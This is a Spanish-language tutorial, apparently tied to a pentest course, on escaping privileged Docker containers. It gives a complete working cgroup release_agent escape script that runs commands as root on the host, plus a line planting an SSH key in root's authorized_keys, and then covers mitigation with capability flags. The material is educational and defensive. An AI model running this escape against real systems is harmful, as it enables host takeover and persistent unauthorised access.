Escape de los contenedores Docker privilegiados

La traducción del artículo se elaboró ​​la víspera del inicio del curso "Pentest. Práctica de prueba de penetración " .








Los contenedores con privilegios de Docker son contenedores que se ejecutan con una bandera --privileged. A diferencia de los contenedores normales, estos contenedores tienen acceso de root a la máquina host.



Los contenedores privilegiados se utilizan a menudo cuando las tareas requieren acceso directo al hardware para realizar las tareas. Sin embargo, los contenedores Docker privilegiados pueden permitir que los atacantes se apoderen del sistema host. Hoy veremos cómo se puede salir de un contenedor privilegiado.



Búsqueda de contenedores vulnerables



¿Cómo podemos determinar que estamos en un contenedor privilegiado?



¿Cómo sabes que estás en un contenedor?



Cgroupssignifica grupos de control. Esta característica de Linux aísla el uso de recursos y es lo que Docker usa para aislar contenedores. Puede saber si está en un contenedor marcando el cgroup del proceso init en /proc/1/cgroup. Si no está dentro del contenedor, entonces el grupo de control será /. Nuevamente, si está en un contenedor, verá en su lugar /docker/CONTAINER_ID.



¿Cómo saber si un contenedor tiene privilegios?



Una vez que haya determinado que está en un contenedor, debe comprender si tiene privilegios. La mejor manera de hacer esto es ejecutar el comando que necesita la bandera --privilegedy ver si funciona.



Por ejemplo, puede intentar agregar una dummyinterfaz usando el comando iproute2. Este comando requiere acceso al NET_ADMINque tiene el contenedor, si tiene privilegios.



$ ip link add dummy0 type dummy


Si el comando tiene éxito, podemos concluir que el contenedor tiene funcionalidad NET_ADMIN. Y NET_ADMINa su vez, forma parte de un conjunto privilegiado de funciones, y los contenedores que no lo tienen no son privilegiados. Puede eliminar el enlace dummy0después de esta prueba con el comando:



ip link delete dummy0


Escapar del contenedor



Entonces, ¿cómo se sale del contenedor privilegiado? El siguiente script le ayudará aquí. Este ejemplo y prueba de concepto se tomaron del blog Trail of Bits . Para profundizar en el concepto, lea el artículo original:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


Esta prueba de concepto utiliza una función release_agentde cgroup.



Una vez finalizado el último proceso cgroup, se ejecuta un comando que elimina el trabajo terminado cgroups. Este comando se especifica en un archivo release_agenty se ejecuta en nombre de rootla computadora host. De forma predeterminada, la función está desactivada y la ruta release_agentestá vacía.



Este exploit ejecuta código a través de un archivo release_agent. Necesitamos crear cgroup, especificar su archivo release_agente iniciar release_agent, matando todos los procesos en cgroup. La primera línea en la prueba de hipótesis crea un nuevo grupo:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x


Lo siguiente incluye la función release_agent:



echo 1 > /tmp/cgrp/x/notify_on_release


Además, en las siguientes líneas, se registra la ruta al archivo release_agent:



host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent


Entonces puede comenzar a escribir en el archivo de comando. Este script ejecutará el comando ps auxy lo guardará en un archivo /output. También necesita configurar los bits de acceso para el script:



echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd


Finalmente, inicie el ataque generando un proceso que terminará inmediatamente en el cgroup que creamos. Nuestro script release_agentse ejecutará después de que se complete el proceso. Ahora puede leer la salida ps auxen la máquina host en un archivo /output:



sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


Puede utilizar este concepto para ejecutar los comandos que desee en el sistema host. Por ejemplo, puede usarlo para escribir su clave SSH en el archivo de authorized_keysusuario raíz:



cat id_dsa.pub >> /root/.ssh/authorized_keys




Prevenir un ataque



¿Cómo se puede prevenir este ataque? En lugar de otorgar a los contenedores acceso completo al sistema host, solo debe otorgar los permisos que necesitan.



Las capacidades de Docker permiten a los desarrolladores otorgar permisos selectivamente a un contenedor. Es posible dividir los permisos, generalmente empaquetados en la raíz access, en componentes separados.



De forma predeterminada, Docker toma todos los permisos del contenedor y requiere que se agreguen. Puede eliminar o agregar permisos usando los indicadores cap-dropy cap-add.



--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES


Por ejemplo, en lugar de dar el contenedor root access, lo deja NET_BIND_SERVICEsi necesita conectarse a un puerto por debajo de 1024. Esta bandera le dará al contenedor los permisos necesarios:



--cap-add NET_BIND_SERVICE


Conclusión



Evite ejecutar contenedores Docker con una bandera siempre que sea posible --privileged. Los contenedores privilegiados pueden brindar a los atacantes la capacidad de salir del contenedor y obtener acceso al sistema host. En su lugar, dé permiso a los contenedores individualmente usando una bandera --cap-add.



Lee mas








Obtenga más información sobre el curso.







All Articles